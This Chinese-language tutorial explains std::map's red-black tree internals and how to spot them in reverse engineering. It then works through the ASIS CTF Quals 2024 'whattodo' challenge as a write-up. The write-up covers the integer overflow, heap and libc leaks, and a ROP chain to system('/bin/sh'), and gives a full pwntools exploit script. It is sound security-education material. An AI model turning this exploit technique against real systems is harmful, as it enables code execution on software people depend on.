C++中std::map的深入解析与实战应用

基于ASIS CTF Quals 2024 "whattodo"题目的逆向分析

本文将从逆向工程角度深入分析C++ STL中的std::map实现原理，并结合CTF题目"whattodo"展示实际应用场景中的漏洞利用技术。

一、std::map基础概念

std::map是C++ STL中的关联容器，存储键值对(key-value)，具有以下核心特性：

• 自动排序：元素根据key严格弱排序(strict weak ordering)
• 唯一键值：不允许重复key存在
• 高效查找：基于红黑树实现，查找时间复杂度O(log n)

1.1 map的基本操作

#include <map>
#include <string>

std::map<std::string, int> myMap;

// 插入元素
myMap.insert(std::make_pair("key", 123));
myMap["key2"] = 456;

// 查找元素
auto it = myMap.find("key");
if (it != myMap.end()) {
    // 找到元素
}

// 删除元素
myMap.erase("key");

二、std::map底层实现分析

2.1 红黑树结构

std::map底层使用红黑树(RB-Tree)实现，这是一种自平衡二叉查找树，具有以下特性：

1. 每个节点是红色或黑色
2. 根节点是黑色
3. 红色节点的子节点必须是黑色
4. 从任一节点到其每个叶子的路径包含相同数目的黑色节点

2.2 节点结构

enum rb_tree_color { kRed, kBlack };

struct rb_tree_node_base {
    rb_tree_color color;
    rb_tree_node_base* parent;
    rb_tree_node_base* left;
    rb_tree_node_base* right;
};

template<typename Value>
struct rb_tree_node : public rb_tree_node_base {
    Value value_field;  // 存储键值对
};

2.3 map类定义关键部分

template<typename Key, typename T>
class map {
private:
    typedef rb_tree<Key, std::pair<const Key, T>> rep_type;
    rep_type tree;  // 红黑树实例
    
public:
    // 迭代器相关
    iterator begin();
    iterator end();
    
    // 容量相关
    size_type size() const;
    bool empty() const;
    
    // 元素访问
    T& operator[](const Key& k);
    
    // 修改操作
    std::pair<iterator, bool> insert(const value_type& x);
    size_type erase(const Key& x);
};

三、逆向分析中的map识别

3.1 逆向中的典型特征

1. 节点结构：包含color、parent、left、right指针和value字段
2. 函数调用：常见_Rb_tree开头的函数调用
3. 迭代器操作：_Rb_tree_increment和_Rb_tree_decrement调用

3.2 逆向代码中的关键函数

1. _Rb_tree_insert_and_rebalance：插入新节点并平衡树
2. _Rb_tree_rebalance_for_erase：删除节点后重新平衡
3. _Rb_tree_increment：迭代器++操作
4. _M_emplace_hint_unique：带提示的唯一插入

四、CTF题目"whattodo"漏洞分析

4.1 题目功能概述

程序实现了一个TODO列表管理功能，主要操作：

1. 添加TODO项（标题和长度）
2. 删除TODO项
3. 编辑TODO内容
4. 显示TODO内容

4.2 关键数据结构

struct node {
    _DWORD color;           // 节点颜色
    _QWORD parents;         // 父节点指针
    _QWORD left_son_node;   // 左子节点
    _QWORD right_son_node;  // 右子节点
    struct string title_str_obj;  // 标题字符串对象
    struct pair todo_pair;  // TODO内容指针和长度
};

struct pair {
    _QWORD todo_ptr;  // 指向TODO内容的指针
    _QWORD todo_len;  // TODO内容长度
};

struct string {
    _QWORD ptr;      // 字符串指针
    _QWORD size;     // 字符串长度
    char str[16];    // 短字符串优化(SSO)缓冲区
};

4.3 整数溢出漏洞

在todo_add函数中存在整数溢出漏洞：

std::istream::_M_extract<unsigned int>(std::cin, &len);
len_more1 = (unsigned int)(len + 1);  // 当len=0xFFFFFFFF时，len_more1=0
todo_node_chunk = (void*)operator new[](len_more1);
if (len_more1)
    memset(todo_node_chunk, 0, len_more1);  // 由于len_more1=0，不会执行memset

利用方法：

1. 输入长度-1（会被转换为unsigned int 0xFFFFFFFF）
2. len+1导致整数溢出，实际分配0字节
3. 后续操作可导致堆溢出

4.4 漏洞利用链

1. 利用整数溢出创建异常大小的TODO项
2. 通过堆布局控制红黑树节点结构
3. 修改节点指针实现任意地址读写
4. 泄露libc和堆地址
5. 构造ROP链实现代码执行

五、漏洞利用实战

5.1 利用步骤详解

1. 触发整数溢出：

   new(str(1), str(-1))  # 长度-1触发整数溢出
   

2. 堆布局控制：

   remove(str(1))
   new(str(1), str(-1))  # 重新分配控制节点
   

3. 泄露堆地址：

   show(str(1))
   heap = u64(p.recvuntil(b"\n", drop=True).ljust(8, b"\x00")) << 12
   

4. 泄露libc地址：

   payload = b"1"*0x10 + b"\x00"*8 + p64(0x461)
   edit(str(1), payload)
   remove(str(1))
   new(str(1), str(-1))
   show(str(2))
   libc = u64(p.recvuntil(b"\n", drop=True).ljust(8, b"\x00")) - 0x203b20
   

5. 构造ROP链：

   bin_sh = libc + 0x1cb42f
   sys = libc + 0x58740
   ret = libc + 0x000000000002882f
   pop_rdi = libc + 0x000000000010f75b
   rop = p64(0) + p64(ret) + p64(pop_rdi) + p64(bin_sh) + p64(sys)
   edit(str(2), rop)
   

5.2 完整利用代码

from pwn import *
import random

context(os="linux", arch="amd64", log_level="debug")

def new(title, length):
    p.sendlineafter(b"> ", str(1))
    p.sendlineafter(b"Title: ", title)
    result = p.recvuntil(b"1. New todo", timeout=0.5)
    if b"Already exists" in result:
        return
    p.sendline(length)

def remove(title):
    p.sendlineafter(b"> ", str(2))
    p.sendlineafter(b"Title: ", title)

def edit(title, content):
    p.sendlineafter(b"> ", str(3))
    p.sendlineafter(b"Title: ", title)
    p.sendlineafter(b"TODO: ", content)

def show(title):
    p.sendlineafter(b"> ", str(4))
    p.sendlineafter(b"Title: ", title)

p = process("./chall")
gdb.attach(p)
pause()

# 触发整数溢出
new(str(1), str(-1))
remove(str(1))
new(str(1), str(-1))

# 泄露堆地址
show(str(1))
p.recvuntil(b"TODO: ")
heap = u64(p.recvuntil(b"\n", drop=True).ljust(8, b"\x00")) << 12
print("heap leak " + hex(heap))

# 堆布局
new(str(2), str(-1))
new(str(3), str(-1))
new(str(4), str(-1))
new(str(5), str(-1))
new(str(6), str(-1))
new(str(7), str(-1))
new(str(8), str(-1))
new(str(9), str(-1))
new(str(10), str(-1))
new(str(11), str(-1))

# 修改节点结构泄露libc
payload = b"1"*0x10 + b"\x00"*8 + p64(0x461)
edit(str(1), payload)
remove(str(1))
new(str(1), str(-1))
show(str(2))
p.recvuntil(b"TODO: ")
libc = u64(p.recvuntil(b"\n", drop=True).ljust(8, b"\x00")) - 0x203b20
print("libc leak " + hex(libc))

# 泄露栈地址
payload = b"1"*0x10 + b"\x00"*8 + p64(0x61) + p64(0) + p64(heap+0x750) + p64(0) + p64(0) + p64(heap+0x300) + p64(1) + p64(0x31) + p64(0) + p64(libc+0x20ad58) + p64(0x100)
edit(str(1), payload)
show(str(1))
p.recvuntil(b"TODO: ")
stack = u64(p.recvuntil(b"\n", drop=True).ljust(8, b"\x00"))
print("stack leak " + hex(stack))

# 构造ROP链
payload = b"1"*0x10 + b"\x00"*8 + p64(0x61) + p64(0) + p64(heap+0x450) + p64(heap+0x750) + p64(heap+0x3d0) + p64(heap+0x380) + p64(1) + p64(0x32) + p64(0) + p64(stack-0x148) + p64(0x100)
edit(str(2), payload)
pause()

bin_sh = libc + 0x1cb42f
sys = libc + 0x58740
ret = libc + 0x000000000002882f
pop_rdi = libc + 0x000000000010f75b
rop = p64(0) + p64(ret) + p64(pop_rdi) + p64(bin_sh) + p64(sys)
edit(str(2), rop)

p.interactive()

六、防御措施

1. 输入验证：对所有用户输入进行严格验证，特别是数值类型
2. 安全整数操作：使用安全整数库处理算术运算
3. 内存保护：启用ASLR、DEP等保护机制
4. 使用现代C++特性：如std::string_view替代原始字符串操作
5. 静态分析：使用静态分析工具检测潜在整数溢出

七、总结

通过分析"whattodo"题目，我们深入理解了：

1. std::map的底层红黑树实现结构
2. 逆向工程中识别STL容器的方法
3. 整数溢出漏洞的利用技巧
4. 通过控制数据结构实现任意地址读写
5. 在复杂数据结构中构造利用链的方法

这种类型的漏洞在现实中的CTF比赛和实际应用中都很常见，理解其原理和利用方法对于二进制安全研究至关重要。